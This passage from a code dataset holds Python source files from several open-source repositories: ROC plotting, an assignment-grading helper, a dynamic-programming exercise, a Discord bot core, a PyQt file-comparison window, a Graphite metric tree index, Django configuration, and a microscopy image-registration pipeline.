cbl.ax.yaxis.set_ticks( tickLocs )\n cbl.ax.yaxis.set_ticklabels( lineLevels )\n cbl.ax.yaxis.set_label_text( cbarText )\n plt.tight_layout() \n \n if plotCbar:\n return [axes[0],cbl]\n else:\n return [axes[0],colours]\n\ndef getTpr( genome, fprTarget ):\n if fprTarget > 1-1e-6:\n return [1,1,-np.inf]\n\n readCounts = genome['ratio'].values\n lb = min( readCounts )\n ub = max( readCounts )\n\n numFP = genome.query('binding == \"false-positive\"').shape[0]\n numTP = genome.shape[0] - numFP\n #print(\"Starting search. Target : {}\".format( fprTarget ))\n fpr = 1.0\n nItr = 100\n itr = 0\n while abs( fpr - fprTarget ) > 0.01 * fprTarget and itr < nItr:\n\n threshold = (lb + ub)/2.0\n genome.loc[:,'inference'] = 'no-binding'\n genome.loc[readCounts > threshold,'inference'] = 'binding'\n\n if threshold < 1e-8:\n fpr = fprTarget\n print( [fpr,fprTarget,threshold])\n break\n\n fpr = genome.query( '(inference == \"binding\") & (binding == \"false-positive\")').shape[0]*1.0/numFP\n if fpr > fprTarget:\n lb = threshold\n else:\n ub = threshold\n\n itr += 1\n\n tpr = genome.query( '(inference == \"binding\") & (binding != \"false-positive\")').shape[0]*1.0/numTP\n return [fpr,tpr,threshold]\n\ndef makeROC( genome, color, ax=None, ls='solid', fprTargets=[], label=\"\" ):\n if len( fprTargets ) == 0:\n fprTargets = [0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.0]\n\n fprVals = []\n tprVals = []\n \n readCountThresholds = []\n for fprTarget in fprTargets:\n if abs( fprTarget ) < 1e-6:\n fpr = 0\n tpr = 0\n readCountThreshold = max( genome['ratio'].values )\n else:\n fpr, tpr, readCountThreshold = getTpr( genome, fprTarget )\n\n fprVals.append( fpr ) \n tprVals.append( tpr )\n readCountThresholds.append( readCountThreshold )\n\n itr = 0\n if ax is None:\n fig = plt.figure()\n ax = plt.gca()\n\n auROC = util.findAuROC( genome )\n\n if label == \"\":\n ax.plot( fprVals, tprVals, color=color, lw=0.75, ls=ls, label='{:.2f}'.format(auROC), marker='o' , markersize=2 )\n else:\n ax.plot( fprVals, tprVals, color=color, lw=0.75, ls=ls, label=label + ' ({:.2f})'.format(auROC), marker='o', markersize=2 )\n\n ax.set_xlim(0,1)\n ax.grid('on',ls='dashed')\n ax.legend(fontsize=8)\n\n return [ax,auROC,readCountThresholds]\n", "source": "vishakad/animate", "license": "MIT"} {"text": "import os\nimport shutil\nimport subprocess\nfrom Colorify import red, cyan\nfrom DiffJob import prepare, diff, student_output\n\n__author__ = 'George Herde'\n\n\ndef cd_into_assignment(top_level, student, config):\n # Tries to move into the assignment folder (as set in the config.ini) within the student's directory\n if os.path.exists(\"{}/{}/{}\".format(top_level, student, config.dir)):\n os.chdir(\"{}/{}/{}\".format(top_level, student, config.dir))\n return True\n else:\n # Provides a list of folders in the student's directory to use an an alternative\n alternate_dir = [d for d in os.listdir(os.getcwd()) if os.path.isdir(d) and not d.startswith(\".\")]\n print(\"{} Not found.\\nAlternate folders:\".format(config.dir))\n print_array_of_strings(alternate_dir)\n target_dir = input(\"Choose an alternative(or 'None'): \")\n if target_dir == 'None':\n return False\n else:\n # Move into the chosen directory\n os.chdir(\"{}/{}/{}\".format(top_level, student, target_dir))\n # Prints the name of the current folder back to the user\n print(\"\\nUsing Directory: {}\".format(os.path.relpath(os.getcwd(), start=os.getcwd() + \"/..\")))\n return True\n\n\ndef yes_no_question(question_text, y_default=True):\n if y_default:\n user_input = input(\"{} (Y/n)\\n\".format(question_text)).strip().lower()\n if user_input in \"\" or user_input in \"y\":\n return True\n else:\n return False\n else:\n user_input = input(\"{} (y/N)\\n\".format(question_text)).strip().lower()\n if user_input in \"\" or user_input in \"n\":\n return False\n else:\n return True\n\n\ndef print_array_of_strings(array):\n array.sort()\n for element in array[:-1]:\n print(\"{}\".format(element), end=\", \")\n print(\"{}\".format(array[-1]))\n\n\ndef move_support_files(config, config_location, destination):\n if config.support_files is not None:\n for item in config.support_files:\n if not os.path.exists(\"{}/{}\".format(destination, item)):\n print(red(\"Supporting file missing {} into student repository\".format(item)))\n shutil.copy(\"{}/{}\".format(config_location, item), \"{}/{}\".format(destination, item))\n if config.grading_files is not None:\n for item in config.grading_files:\n print(\"Copying grading file: {} into student repository\".format(item))\n shutil.copy(\"{}/{}\".format(config_location, item), \"{}/{}\".format(destination, item))\n\n\ndef execute_testing(test_type, job_list, config_location=None):\n if test_type == \"diff\" and config_location is not None:\n execute_diff(job_list, config_location)\n elif test_type == \"unit\":\n execute_unit(job_list)\n elif test_type == \"bash\":\n execute_bash(job_list)\n\n\ndef execute_diff(job_list, config_location):\n for job in job_list[:-1]:\n print(\"\\n{}\".format(cyan(job.__str__())))\n print(\"-------------------------------------------------------------\")\n prepare(job, config_location, os.getcwd())\n student_output(job)\n diff(job)\n input(\"Continue to next Diff job...\")\n job = job_list[-1]\n print(\"\\n{}\".format(cyan(job.__str__())))\n print(\"-------------------------------------------------------------\")\n prepare(job, config_location, os.getcwd())\n student_output(job)\n diff(job)\n\n\ndef execute_unit(job_list):\n for job in job_list[:-1]:\n print(\"\\n{}\".format(cyan(job.__str__())))\n print(cyan(\"-------------------------------------------------------------\"))\n job.run()\n input(\"Continue to next Unit Test job...\")\n job = job_list[-1]\n print(\"\\n{}\".format(cyan(job.__str__())))\n print(cyan(\"-------------------------------------------------------------\"))\n job.run()\n\n\ndef execute_bash(job_list):\n for job in job_list[:-1]:\n print(\"\\n{}\".format(cyan(job.__str__())))\n print(cyan(\"-------------------------------------------------------------\"))\n job.run()\n print(\"\\n\")\n input(\"Continue to next Bash job...\")\n job = job_list[-1]\n print(\"\\n{}\".format(cyan(job.name)))\n print(cyan(\"-------------------------------------------------------------\"))\n job.run()\n\n\ndef view_source(config):\n # View Source Files\n vim_array = [\"vim\", \"-p\"]\n vim_files = []\n for v_file in config.required_files:\n if v_file == \"*All*\":\n for file in os.listdir(os.getcwd()):\n vim_files.append(file)\n else:\n vim_files.append(v_file)\n if config.support_files is not None:\n for v_file in config.support_files:\n vim_files.append(v_file)\n print(\"Files opened: {}\".format(vim_files))\n i = 0\n for file in vim_files:\n if i == 5:\n subprocess.Popen(vim_array).communicate()\n vim_array = [\"vim\", \"-p\"]\n i = 0\n vim_array.append(str(file))\n i += 1\n subprocess.Popen(vim_array).communicate()\n", "source": "blackpan2/PyGrade", "license": "Apache-2.0"} {"text": "\"\"\"\nGiven an array of integers, find the subset of non-adjacent elements with the maximum sum. \nCalculate the sum of that subset. It is possible that the maximum sum is , the case when all elements are negative.\n\n\"\"\"\n\ndef maxSubsetSum(arr):\n \n n = len(arr) # n = length of the array\n dp = [0]*n # create a dp array of length n & initialize its values to 0\n dp[0] = arr[0] # base\n dp[1] = max(arr[1], dp[0]) \n \n for i in range(2,n):\n # Because of the condition. No two adjacent elements can be picked. \n # Therefore we can either take one and then skip one, or skip one and run the subroutine.\n dp[i] = max(arr[i], dp[i-1], arr[i] + dp[i-2])\n # in the dp, we store the max sum for the subarray up till the length of the subarray.\n # Hence simply return the last item in this to get the answer\n return dp[-1]\n", "source": "rahil-1407/Data-Structure-and-Algorithms", "license": "MIT"} {"text": "import discord\nfrom discord.ext import commands\nimport dotenv\nimport os\nfrom glob import glob\nimport traceback\n\n\nfrom ..db import db\n\n# Loading the environment variables\ndotenv.load_dotenv()\ntoken = os.getenv(\"BOT_TOKEN\")\nerror_guild_id = os.getenv(\"GUILD_ID\")\nerror_channel_id = os.getenv(\"CHANNEL_ID\")\nfeedback_channel_id=os.getenv(\"FEEDBACK_ID\")\nguild_logs_id=os.getenv('GUILD_LOG_ID')\n\nintents = discord.Intents.default()\n\n# Allowing mentions in messages of the bot\nmentions = discord.AllowedMentions(everyone=False, users=True, roles=False, replied_user=True)\n\n# Cogs\nCOGS = [path.split(\"\\\\\")[-1][:-3] for path in glob(\"./lib/cogs/*.py\")]\n# Owner IDS\nOWNER_ID = 650664682046226432\n\n# Prefix cache implementation\nprefix_cache={}\n\nasync def get_prefix(user,message):\n if message.guild is None:\n prefix = \"dexy\"\n return commands.when_mentioned_or(prefix)(user, message)\n elif message.guild.id in prefix_cache:\n return commands.when_mentioned_or(*prefix_cache[message.guild.id])(user, message)\n else:\n prefix=db.field(\"SELECT Prefix FROM guilds WHERE GuildID = ?\",message.guild.id)\n try:\n prefix=prefix.split(\",\")\n except:\n prefix=['dexy']\n if len(prefix_cache)>120:\n prefix_cache.pop(tuple(prefix_cache.keys())[0])\n prefix_cache[message.guild.id]=prefix\n return commands.when_mentioned_or(*prefix_cache[message.guild.id])(user, message)\n\n\nasync def update():\n for guild in bot.guilds:\n try:\n db.execute(\"INSERT INTO guilds (GuildID) VALUES (?)\", guild.id)\n except:\n pass\n\nclass Bot(commands.Bot):\n def __init__(self):\n self.TOKEN = token\n self.ready = False\n self.owner_id = OWNER_ID\n self.reconnect = True\n self.prefix_cache=prefix_cache\n self.feedback_webhook=feedback_channel_id\n super().__init__(case_insensitive=True, allowed_mentions=mentions, intents=intents,\n command_prefix=get_prefix,strip_after_prefix=True,\n owner_id=OWNER_ID,max_messages=None)\n\n\n def setup(self):\n for ext in os.listdir(\"./lib/cogs\"):\n if ext.endswith(\".py\") and not ext.startswith(\"_\"):\n try:\n self.load_extension(f\"lib.cogs.{ext[:-3]}\")\n print(f\" {ext[:-3]} cog loaded\")\n except Exception:\n desired_trace = traceback.format_exc()\n print(desired_trace)\n print(\"setup complete\")\n self.load_extension('jishaku')\n print(\"jishaku loaded\")\n print(\"setup complete\")\n\n def run(self, version):\n\n print(\"running setup...\")\n self.setup()\n\n print(\"running bot...\")\n\n super().run(self.TOKEN, reconnect=True)\n\n async def process_commands(self, message):\n ctx = await self.get_context(message, cls=commands.Context)\n\n if ctx.command is not None:\n if not self.ready:\n await ctx.send(\"I'm not ready to receive commands. Please wait a few seconds.\")\n\n else:\n await self.invoke(ctx)\n\n async def on_connect(self):\n await update()\n self.error_channel:discord.TextChannel=await self.fetch_channel(error_channel_id)\n self.error_webhook=await self.error_channel.webhooks()\n self.error_webhook=self.error_webhook[0]\n self.guild_log:discord.TextChannel=await self.fetch_channel(guild_logs_id)\n self.guild_log=await self.guild_log.webhooks()\n self.guild_log=self.guild_log[0]\n print(\"updated\")\n print(\"bot connected\")\n \n async def on_disconnect(self):\n print(\"bot disconnected\")\n\n async def on_command_error(self, ctx:commands.Context, err):\n embed=discord.Embed(title='An error occurred',colour=ctx.me.colour)\n embed.add_field(name='Error description',value=f\"```\\n{err}\\n```\",inline=False)\n embed.add_field(name='Still confused?',value='Join the [support server](https://discord.gg/FBFTYp7nnq) and ask about this there!')\n try:\n await ctx.send(embed=embed)#f\"Something went wrong \\n ```\\n{err}\\n```\")\n except:\n await ctx.author.send(f\"I cannot send embeds or messages in {ctx.channel.mention}!\")\n try:\n embed=discord.Embed(title='Error',description=f'{err}')\n embed.add_field(name='Command used -',value=f'{ctx.message.content}',inline=False)\n await self.error_webhook.send(embed=embed)\n except:\n raise err\n async def on_guild_join(self, guild:discord.Guild):\n try:\n db.execute(\"INSERT INTO guilds (GuildID) VALUES (?)\", guild.id)\n except:\n pass\n embed=discord.Embed(title='Guild added',description=f'ID : {guild.id}\\n NAME : {guild.name}\\n OWNERID : {guild.owner_id}')#\\n OWNER_NAME : {guild.owner.name}#{guild.owner.discriminator}')\n await self.guild_log.send(embed=embed)\n \n async def on_guild_remove(self, guild:discord.Guild):\n embed=discord.Embed(title='Guild left',description=f'ID : {guild.id}\\n NAME : {guild.name}\\n OWNERID : {guild.owner_id}')# OWNER_NAME : {guild.owner.name}#{guild.owner.discriminator}')\n await self.guild_log.send(embed=embed)\n \n \n \n # async def on_guild_(self, guild):\n # db.execute(\"DELETE FROM guilds WHERE GuildID = ?\", guild.id)\n async def on_message(self, message:discord.Message):\n if message.author.bot:return\n return await super().on_message(message)\n async def on_ready(self):\n await update()\n self.ready = True\n print(\"bot ready\")\n\n\nbot = Bot()\n", "source": "ItsZabbs/Pokedex-Bot", "license": "MIT"} {"text": "import sys\r\nfrom PyQt5.QtGui import QPainter, QColor, QSyntaxHighlighter, QTextCharFormat\r\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QPushButton, QToolTip, QWidget, QLabel\r\nfrom PyQt5.QtWidgets import QFileDialog, QTextEdit\r\nfrom highlighter import Highlighter\r\n\r\n\r\n# SubWindow Class\r\nclass Widget(QTextEdit):\r\n result = []\r\n\r\n def __init__(self, left, top, width, height, parent=None):\r\n super().__init__(parent)\r\n self.left = left\r\n self.top = top\r\n self.width = width\r\n self.height = height\r\n self.setParent(parent)\r\n self.initWidget()\r\n self.highLighter = Highlighter(self.document())\r\n\r\n\r\n\r\n # self.highLighter = Highlighter(self.document())\r\n\r\n # self.setStyleSheet(\"\"\"QTextEdit{\r\n # font-family:'Consolas';\r\n # color: #ccc;\r\n # background-color: #2b2b2b;}\"\"\")\r\n\r\n def returnResult(self, res):\r\n self.highLighter.getResult(res)\r\n\r\n def initWidget(self):\r\n self.setGeometry(self.left, self.top, self.width, self.height)\r\n self.show()\r\n\r\n def setText(self, text):\r\n super().setText(text)\r\n\r\n def getText(self):\r\n super().toPlainText()\r\n\r\n\r\n\r\n\r\n\r\n\r\n # Main Program Window\r\n\r\n\r\nclass Window(QMainWindow):\r\n readFile, readFile1 = \"\", \"\"\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n\r\n self.Wid = Widget(25, 25, 400, 450, self)\r\n self.Wid1 = Widget(450, 25, 400, 450, self)\r\n\r\n\r\n\r\n self.first_path_label = QLabel(self)\r\n self.first_path_label.setWordWrap(True)\r\n self.second_path_label = QLabel(self)\r\n self.second_path_label.setWordWrap(True)\r\n\r\n self.title = \"PyQt 5 Application\"\r\n self.left = 100\r\n self.top = 100\r\n self.width = 1024\r\n self.height = 500\r\n self.InitUI()\r\n\r\n\r\n\r\n\r\n\r\n def returnTextWindow(self):\r\n return self.Wid,self.Wid1\r\n\r\n def InitUI(self):\r\n self.setWindowTitle(self.title)\r\n self.setGeometry(self.left, self.top, self.width, self.height)\r\n\r\n # First OpenFile Button\r\n openFileButton_1 = QPushButton(\"First File\", self)\r\n openFileButton_1.setGeometry(860, 75, 75, 25)\r\n openFileButton_1.clicked.connect(self.buttonClick)\r\n\r\n self.first_path_label.setGeometry(860, 105, 125, 25)\r\n\r\n # Second OpenFile Button\r\n openFileButton_2 = QPushButton(\"Second File\", self)\r\n openFileButton_2.setGeometry(860, 150, 75, 25)\r\n openFileButton_2.clicked.connect(self.buttonClick_1)\r\n\r\n self.second_path_label.setGeometry(860, 180, 125, 25)\r\n\r\n # Save Button\r\n saveButton = QPushButton(\"Save\", self)\r\n saveButton.setGeometry(925, 450, 75, 25)\r\n\r\n\r\n #Compare Button\r\n comparePutton = QPushButton(\"Compare\", self)\r\n comparePutton.setGeometry(850,450,75,25)\r\n comparePutton.clicked.connect(self.Compared)\r\n\r\n self.show()\r\n\r\n def Compared(self):\r\n self.Wid.getText()\r\n self.Wid1.getText()\r\n\r\n def buttonClick(self):\r\n data, path = self.openFile()\r\n self.first_path_label.setText(path)\r\n Window.readFile = path\r\n self.Wid.setText(data)\r\n # Widget.result = retResult(self.readFile,self.readFile1)\r\n\r\n def buttonClick_1(self):\r\n data, path = self.openFile()\r\n self.second_path_label.setText(path)\r\n Window.readFile1 = path\r\n self.Wid1.setText(data)\r\n # Widget.result = retResult(self.readFile,self.readFile1)\r\n\r\n\r\n def openFile(self):\r\n fileName = QFileDialog.getOpenFileName(self, \"Open File\")\r\n if fileName[0]:\r\n\r\n f = open(fileName[0], 'r')\r\n\r\n with f:\r\n data = f.read()\r\n path = fileName[0]\r\n else:\r\n data = \"Sie uza\u011fa git kar\u015fim\"\r\n path = \"None\"\r\n\r\n return data, path\r\n\r\n\r\nApp = QApplication(sys.argv)\r\nwindow = Window()\r\nsys.exit(App.exec())\r\n", "source": "bkaganozkan/Difference", "license": "MIT"} {"text": "# Copyright (C) [2015-2017] [Thomson Reuters LLC]\n# Copyright (C) [2015-2017] [Panos Kittenis]\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tree representation of Graphite metrics\"\"\"\n\nfrom __future__ import absolute_import, print_function\nimport json\nfrom collections import deque\n\nfrom graphite_api.utils import is_pattern\nfrom graphite_api.finders import match_entries\n\n\ndef _encode_bytes(_str):\n if not isinstance(b'', str):\n return _str.encode('utf-8')\n return bytes(_str)\n\n\ndef _decode_str(_str):\n try:\n return _str.decode('utf-8')\n except AttributeError:\n pass\n return _str\n\n\nclass Node(object):\n \"\"\"Node class of a graphite metric\"\"\"\n __slots__ = ('children')\n\n def __init__(self):\n self.children = None\n\n def is_leaf(self):\n \"\"\"Returns True/False depending on whether self is a LeafNode or not\"\"\"\n return self.children is None\n\n def insert(self, paths):\n \"\"\"Insert path in this node's children\"\"\"\n if len(paths) == 0:\n return\n if self.children is None:\n self.children = ()\n child_name = paths.popleft()\n for (_child_name, node) in self.children:\n # Fast path for end of recursion - avoids extra recursion\n # for empty paths list\n if len(paths) == 0 and child_name == _child_name:\n return\n elif child_name == _child_name:\n return node.insert(paths)\n node = Node()\n self.children += ((child_name, node),)\n return node.insert(paths)\n\n def to_array(self):\n \"\"\"Return list of (name, children) items for this node's children\"\"\"\n return [(_decode_str(name), node.to_array(),)\n for (name, node,) in self.children] \\\n if self.children is not None else None\n\n @staticmethod\n def from_array(array):\n \"\"\"Load given parent node's children from array\"\"\"\n metric = Node()\n if array is None:\n return metric\n else:\n metric.children = ()\n for child_name, child_array in array:\n child = Node.from_array(child_array)\n metric.children += ((_encode_bytes(child_name), child),)\n return metric\n\n\nclass NodeTreeIndex(object):\n \"\"\"Node tree index class with graphite glob searches per sub-part of a\n query\n \"\"\"\n __slots__ = ('index')\n\n @property\n def children(self):\n return self.index.children if self.index.children else []\n\n def __init__(self):\n self.index = Node()\n\n def insert(self, metric_path):\n \"\"\"Insert metric path into tree index\"\"\"\n paths = deque([_encode_bytes(s) for s in metric_path.split('.')])\n self.index.insert(paths)\n\n def insert_split_path(self, paths):\n \"\"\"Insert already split path into tree index\"\"\"\n self.index.insert(deque([_encode_bytes(s) for s in paths]))\n\n def clear(self):\n \"\"\"Clear tree index\"\"\"\n self.index.children = None\n\n def query(self, query):\n \"\"\"Return nodes matching Graphite glob pattern query\"\"\"\n nodes = sorted(self.search(self.index, query.split('.'), []))\n return (('.'.join(path), node,)\n for path, node in nodes)\n\n def _get_children_from_matched_paths(self, matched_paths, node):\n for (path, _node) in node.children:\n _path = _decode_str(path)\n if _path in matched_paths:\n yield (_path, _node)\n\n def _get_child_from_string_query(self, sub_query, node):\n for (path, _node) in node.children:\n if _decode_str(path) == sub_query:\n return _node\n\n def _get_matched_children(self, sub_query, node):\n keys = [_decode_str(key) for (key, _) in node.children] \\\n if node.children is not None else []\n matched_paths = match_entries(keys, sub_query)\n if node.children is not None and is_pattern(sub_query):\n matched_children = self._get_children_from_matched_paths(\n matched_paths, node)\n else:\n matched_children = [(sub_query,\n self._get_child_from_string_query(\n sub_query, node))] \\\n if node.children is not None \\\n and sub_query in keys else []\n return matched_children\n\n def search(self, node, split_query, split_path):\n \"\"\"Return matching children for each query part in split query starting\n from given node\"\"\"\n sub_query = split_query[0]\n matched_children = self._get_matched_children(sub_query, node)\n for child_name, child_node in matched_children:\n child_path = split_path[:]\n child_path.append(child_name)\n child_query = split_query[1:]\n if len(child_query) > 0:\n for sub in self.search(child_node, child_query, child_path):\n yield sub\n else:\n yield (child_path, child_node)\n\n def to_array(self):\n \"\"\"Return array representation of tree index\"\"\"\n return self.index.to_array()\n\n @staticmethod\n def from_array(model):\n \"\"\"Load tree index from array\"\"\"\n metric_index = NodeTreeIndex()\n metric_index.index = Node.from_array(model)\n return metric_index\n\n @staticmethod\n def from_file(file_h):\n \"\"\"Load tree index from file handle\"\"\"\n index = NodeTreeIndex.from_array(json.load(file_h))\n return index\n", "source": "InfluxGraph/influxgraph", "license": "Apache-2.0"} {"text": "from django.apps import AppConfig\n\n\nclass GirlfriendProjectConfig(AppConfig):\n name = 'girlfriend_project'\n", "source": "paressuex11/mysite", "license": "Apache-2.0"} {"text": "from django.contrib import admin\n\n\n# Register your models here.\nfrom prices.models import IdDB\n\n\nclass IdDBAdmin(admin.ModelAdmin):\n list_display = (\n 'kinopoisk_id',\n 'title',\n 'title_en',\n 'year',\n 'date_created',\n 'price',)\n search_fields = ('kinopoisk_id', 'title',)\n list_filter = ('year',)\n empty_value_display = '-\u043f\u0443\u0441\u0442\u043e-'\n\n\nadmin.site.register(IdDB, IdDBAdmin)\n", "source": "KazuruK/FilmGetter", "license": "BSD-3-Clause"} {"text": "from MELC.utils.myDatasets import generate_workingRaw_from_raw, MELCStructureDataset\nimport numpy as np\nimport tifffile as tiff\nfrom MELC.utils.registration_daria import register\nimport matplotlib.pyplot as plt\nimport cv2\nfrom MELC.utils.Files import create_folder\nfrom skimage import img_as_float, img_as_uint\nfrom MELC.utils.f_transformations import filterLowFrequencies, visualize_frequencies\nimport glob\nfrom os.path import join\nfrom config import *\nimport argparse\nSEPARATOR = '/'\n\ndef parse_args():\n \"\"\"Parse input arguments\"\"\"\n parser = argparse.ArgumentParser(description='Run Training of Mask R-CNN')\n\n parser.add_argument(\n '--path', dest='path', required=True,\n help='Config file for training (and optionally testing)')\n\n return parser.parse_args()\n\n\nclass MELCImageProcessing:\n\n def __init__(self, path: str, melc_structure_generated: bool = True):\n\n self._path = path\n self._path_registered_fluor = ''\n self._path_registered_bleach = ''\n self._path_registered_phase = ''\n self._path_registered_vis_fluor = ''\n self._path_registered_vis_bleach = ''\n self._path_registered_vis_phase = ''\n self._path_bg_corr = ''\n self._path_bg_corr_f = ''\n self._path_bg_corr_v_f = ''\n self._path_normalized_f = ''\n self._path_normalized_v_f = ''\n '''\n Extract MELC data and calibration data\n '''\n w_raw = self._path + SEPARATOR + 'w_raw'\n if not melc_structure_generated:\n generate_workingRaw_from_raw(self._path, w_raw)\n\n melc_dataset = MELCStructureDataset(w_raw)\n\n '''\n Sort by creation date\n '''\n self._melc_fluor = melc_dataset.fluor_pd.sort_values('order_index', ascending=True)\n self._melc_phase = melc_dataset.phase_pd.sort_values('order_index', ascending=True)\n self._melc_bleach = melc_dataset.bleach_pd.sort_values('order_index', ascending=True)\n self._melc_phasebleach = melc_dataset.phasebleach_pd.sort_values('order_index', ascending=True)\n\n self.create_folders()\n self._corrected_bf_im = self.generate_bg_correction_img()\n self.process_images()\n\n def create_folders(self):\n '''\n Create folders for registered images\n '''\n path_processed = join(self._path, 'processed')\n path_registered = join(path_processed, 'registered')\n self._path_registered_fluor = join(path_registered, 'fluor')\n self._path_registered_bleach = join(path_registered, 'bleach')\n self._path_registered_phase = join(path_registered, 'phase')\n self._path_registered_vis_fluor = join(path_registered, 'vis_fluor')\n self._path_registered_vis_bleach = join(path_registered, 'vis_bleach')\n self._path_registered_vis_phase = join(path_registered, 'vis_phase')\n\n create_folder(path_processed)\n create_folder(path_registered)\n create_folder(self._path_registered_fluor)\n create_folder(self._path_registered_bleach)\n create_folder(self._path_registered_phase)\n create_folder(self._path_registered_vis_fluor)\n create_folder(self._path_registered_vis_bleach)\n create_folder(self._path_registered_vis_phase)\n\n '''\n Create folders for background corrected images\n '''\n\n self._path_bg_corr = self._path + SEPARATOR + 'processed' + SEPARATOR + 'background_corr' + SEPARATOR\n self._path_bg_corr_f = self._path_bg_corr + 'fluor' + SEPARATOR\n self._path_bg_corr_v_f = self._path_bg_corr + 'vis_fluor' + SEPARATOR\n self._path_bg_corr_p = self._path_bg_corr + 'phase' + SEPARATOR\n self._path_bg_corr_v_p = self._path_bg_corr + 'vis_phase' + SEPARATOR\n\n create_folder(self._path_bg_corr)\n create_folder(self._path_bg_corr_f)\n create_folder(self._path_bg_corr_v_f)\n create_folder(self._path_bg_corr_p)\n create_folder(self._path_bg_corr_v_p)\n\n '''\n Create folders for normalized images\n '''\n path_normalized = self._path + SEPARATOR + 'processed' + SEPARATOR + 'normalized'\n self._path_normalized_f = path_normalized + SEPARATOR + 'fluor' + SEPARATOR\n self._path_normalized_v_f = path_normalized + SEPARATOR + 'vis_fluor' + SEPARATOR\n self._path_normalized_p = path_normalized + SEPARATOR + 'phase' + SEPARATOR\n self._path_normalized_v_p = path_normalized + SEPARATOR + 'vis_phase' + SEPARATOR\n\n create_folder(path_normalized)\n create_folder(self._path_normalized_f)\n create_folder(self._path_normalized_v_f)\n create_folder(self._path_normalized_p)\n create_folder(self._path_normalized_v_p)\n\n def generate_bg_correction_img(self):\n\n '''\n Create correction image for fluorescence and bleaching images\n '''\n\n brightfield_im = []\n darkframe_im = []\n filter_names = ['XF116-2', 'XF111-2']\n calibration_path = self._path + SEPARATOR +'w_raw' + SEPARATOR + 'calibration' + SEPARATOR\n brightfield_im.append(np.int16(tiff.imread(glob.glob(calibration_path + '*_cal_b001_5000_XF116-2_000.tif'))))\n brightfield_im.append(np.int16(tiff.imread(glob.glob(calibration_path + '*_cal_b001_5000_XF111-2_000.tif'))))\n darkframe_im.append(np.int16(tiff.imread(glob.glob(calibration_path + '*_cal_d001_5000_XF116-2_000.tif'))))\n darkframe_im.append(np.int16(tiff.imread(glob.glob(calibration_path + '*_cal_d001_5000_XF111-2_000.tif'))))\n\n corrected_brightfield_im = [(brightfield_im[i] - darkframe_im[i]) for i in range(len(filter_names))]\n corrected_brightfield_im[0][corrected_brightfield_im[0] <= 0] = 0\n corrected_brightfield_im[1][corrected_brightfield_im[1] <= 0] = 0\n\n return corrected_brightfield_im\n\n def process_images(self):\n '''\n Registration, background correction and normalization of images\n '''\n\n\n '''\n Registration\n '''\n ref_image = tiff.imread(glob.glob(self._path + SEPARATOR + 'w_raw' + SEPARATOR + 'phase' + SEPARATOR + '*_Propidium iodide_200_XF116*.tif'))\n for i in range(0, (len(self._melc_fluor)-1)):\n\n pb_idx = np.where(self._melc_phasebleach['order_index'] == self._melc_bleach.iloc[i]['order_index'])[0][0]\n phasebleach_image = tiff.imread(self._melc_phasebleach.iloc[pb_idx]['path'])\n bleach_image = tiff.imread(self._melc_bleach.iloc[i]['path'])\n registered_bleach_image = register(ref_image, phasebleach_image, bleach_image)\n filename_bleach = SEPARATOR + str(int(self._melc_bleach.iloc[i]['order_index'])) + '_' + '_'.join(\n self._melc_bleach.iloc[i]['fid'].split('_')[:-1]) + '.tif'\n tiff.imsave(self._path_registered_bleach + filename_bleach, registered_bleach_image)\n\n save_vis_img(registered_bleach_image, self._path_registered_vis_bleach, filename_bleach)\n\n p_idx = np.where(self._melc_phase['order_index'] == self._melc_fluor.iloc[i+1]['order_index'])[0][0]\n phase_image = tiff.imread(self._melc_phase.iloc[p_idx]['path'])\n fluorescence_image = tiff.imread(self._melc_fluor.iloc[i+1]['path'])\n registered_phase_image = register(ref_image, phase_image, phase_image)\n registered_fluor_image = register(ref_image, phase_image, fluorescence_image)\n filename_fluor = SEPARATOR + str(int(self._melc_fluor.iloc[i+1]['order_index'])) + '_' + '_'.join(\n self._melc_fluor.iloc[i+1]['fid'].split('_')[:-1]) + '.tif'\n tiff.imsave(self._path_registered_fluor + filename_fluor, registered_fluor_image)\n tiff.imsave(self._path_registered_phase + filename_fluor, registered_fluor_image)\n\n save_vis_img(registered_fluor_image, self._path_registered_vis_fluor, filename_fluor)\n save_vis_img(registered_phase_image, self._path_registered_vis_phase, filename_fluor)\n\n '''\n Background Correction\n '''\n bleach = np.int16(registered_bleach_image)\n fluor = np.int16(registered_fluor_image)\n phase = np.int16(registered_phase_image)\n\n if self._melc_fluor.iloc[i+1]['filter'] == 'XF111-2':\n fluor -= self._corrected_bf_im[1]\n phase -= self._corrected_bf_im[1]\n else:\n fluor -= self._corrected_bf_im[0]\n phase -= self._corrected_bf_im[0]\n\n if self._melc_bleach.iloc[i]['filter'] == 'XF111-2':\n bleach -= self._corrected_bf_im[1]\n else:\n bleach -= self._corrected_bf_im[0]\n\n phase[phase < 0] = 0\n\n # Substraction of bleaching image\n fluor_wo_bg = fluor - bleach\n fluor_wo_bg[fluor_wo_bg < 0] = 0\n\n tiff.imsave(self._path_bg_corr_f + filename_fluor, fluor_wo_bg)\n save_vis_img(fluor_wo_bg, self._path_bg_corr_v_f, filename_fluor)\n\n tiff.imsave(self._path_bg_corr_p + filename_fluor, phase)\n save_vis_img(phase, self._path_bg_corr_v_p, filename_fluor)\n\n '''\n Normalization\n '''\n\n fluor_wo_bg_normalized = melc_normalization(fluor_wo_bg)\n phase_bc_normalized = melc_normalization(phase)\n tiff.imsave(self._path_normalized_f + filename_fluor, fluor_wo_bg_normalized)\n save_vis_img(fluor_wo_bg_normalized, self._path_normalized_v_f, filename_fluor)\n tiff.imsave(self._path_normalized_p + filename_fluor, phase_bc_normalized)\n save_vis_img(phase_bc_normalized, self._path_normalized_v_p, filename_fluor)\n\n\ndef save_vis_img(img: np.ndarray, path: str, filename: str):\n img_float = img_as_float(img.astype(int))\n img_float = img_float - np.percentile(img_float[20:-20, 20:-20], 0.135) # subtract background\n if not np.percentile(img_float[20:-20, 20:-20], 100 - 0.135) == 0.0:\n img_float /= np.percentile(img_float[20:-20, 20:-20], 100 - 0.135) # normalize to 99.865% of max value\n img_float[img_float < 0] = 0\n img_float[img_float > 1] = 1 # cut-off high intensities\n tiff.imsave(path + filename, 